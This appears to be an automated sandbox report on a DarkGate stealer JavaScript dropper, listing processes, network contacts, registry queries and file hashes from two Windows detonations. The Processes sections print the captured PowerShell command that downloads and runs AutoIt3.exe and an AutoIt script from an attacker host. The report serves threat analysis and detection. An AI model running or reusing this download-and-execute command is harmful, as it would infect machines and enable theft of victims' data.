Malware Analysis Report

2024-11-30 11:11

Sample ID 231106-xwmh3add6s
Target 060e45bf7b57d4.js
SHA256 6df349abef5559549975a85a1d4821e453d988fed82c65c26962c7675e678202
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6df349abef5559549975a85a1d4821e453d988fed82c65c26962c7675e678202

Threat Level: Known bad

The file 060e45bf7b57d4.js was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Downloads MZ/PE file

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-06 19:12

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-06 19:12

Reported

2023-11-06 19:15

Platform

win7-20231023-en

Max time kernel

121s

Max time network

128s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/2644-5-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

memory/2644-4-0x000007FEF4A80000-0x000007FEF541D000-memory.dmp

memory/2644-6-0x000007FEF4A80000-0x000007FEF541D000-memory.dmp

memory/2644-8-0x0000000002490000-0x0000000002498000-memory.dmp

memory/2644-10-0x00000000028E0000-0x0000000002960000-memory.dmp

memory/2644-9-0x00000000028E0000-0x0000000002960000-memory.dmp

memory/2644-7-0x00000000028E0000-0x0000000002960000-memory.dmp

memory/2644-11-0x00000000028E0000-0x0000000002960000-memory.dmp

memory/2644-12-0x000007FEF4A80000-0x000007FEF541D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-06 19:12

Reported

2023-11-06 19:15

Platform

win10v2004-20231023-en

Max time kernel

139s

Max time network

149s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" hujidbbn.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 8sjimonstersboonkonline.com udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 136.253.117.82.in-addr.arpa udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 126.179.238.8.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 192.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 163.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 161.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 224.162.46.104.in-addr.arpa udp

Files

memory/1920-5-0x0000029337490000-0x00000293374B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhha4pls.w40.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1920-10-0x00007FF95AAC0000-0x00007FF95B581000-memory.dmp

memory/1920-11-0x0000029336D90000-0x0000029336DA0000-memory.dmp

memory/1920-12-0x0000029336D90000-0x0000029336DA0000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/1920-26-0x00007FF95AAC0000-0x00007FF95B581000-memory.dmp

C:\tepp\hujidbbn.au3

MD5 305a14601aa52a85993c77549c330e43
SHA1 aa4998fc5deaba2d7a32b188d942fded94182e2b
SHA256 8cf3bf5fc4274ea0d15a2b0c3999a21e1303ef83c42145a9a6e3e6b5114f0cce
SHA512 65f2201f003ba2dfa01d3a793c7f58d4ee711f02b8e849081b9325a61b7e04df5708ddf153be74ebf8a48df5ca7c70b68285925786ababb748b669ed994143ff

memory/2684-29-0x00000000017E0000-0x0000000001BE0000-memory.dmp

memory/2684-30-0x0000000004900000-0x0000000004A95000-memory.dmp

memory/2684-31-0x0000000004900000-0x0000000004A95000-memory.dmp